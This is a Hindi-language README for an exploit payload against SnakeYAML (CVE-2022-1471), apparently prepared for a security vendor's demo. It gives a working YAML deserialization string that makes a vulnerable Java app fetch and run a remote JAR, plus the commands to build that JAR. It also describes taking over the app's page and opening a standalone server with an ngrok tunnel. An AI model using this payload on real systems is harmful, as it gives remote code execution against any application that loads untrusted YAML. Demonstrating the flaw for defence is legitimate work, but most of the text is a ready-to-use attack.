
SnakeYAML CVE-2022-1471 शोषण पेलोड Seal Security डेमो के लिए
CVE-2022-1471 के लिए एक SnakeYAML डिसीरियलाइज़ेशन एक्सप्लॉइट पेलोड, artsploit/yaml-payload से अनुकूलित (मूल रूप से mbechler/marshalsec पर आधारित)।
जब SnakeYAML के असुरक्षित Yaml.load() के माध्यम से लोड किया जाता है, यह पेलोड चल रहे एप्लिकेशन पर कब्ज़ा कर लेता है और उसे "You've Been PWNED" पेज से बदल देता है:
यदि Tomcat Valve इंजेक्शन उपलब्ध नहीं है (जैसे गैर-Spring ऐप), यह पोर्ट 9999 पर एक स्टैंडअलोन HTTP सर्वर शुरू करने और ngrok चल रहा होने पर स्वचालित रूप से ngrok टनल बनाने का फॉलबैक करता है।
यह स्थानीय रूप से macOS पर और CI/CD पाइपलाइनों (जैसे Ubuntu पर GitHub Actions) दोनों में काम करता है।
SnakeYAML पेलोड Java SPI (सर्विस प्रोवाइडर इंटरफ़ेस) के माध्यम से को ट्रिगर करता है:
ScriptEngineManager!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar की ओर इशारा करते हुए java.net.URL इंस्टैंशिएट करता हैURLClassLoader में लपेटता हैScriptEngineManager META-INF/services/javax.script.ScriptEngineFactory के माध्यम से AwesomeScriptEngineFactory को खोजता और लोड करता है/ पर हर बाद की प्रतिक्रिया को PWNED पेज से बदल देता हैJDK 17+ की आवश्यकता है:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo प्रोजेक्ट में एक्सप्लॉइट पेलोड के रूप में उपयोग किया जाता है। RCE ट्रिगर करने के लिए पेलोड स्ट्रिंग को ऐप के नाम फ़ील्ड में पेस्ट करें। अगले अनुरोध पर ऐप का पेज PWNED पेज से बदल दिया जाएगा। पूर्ण डेमो निर्देशों के लिए उस रेपो का README देखें।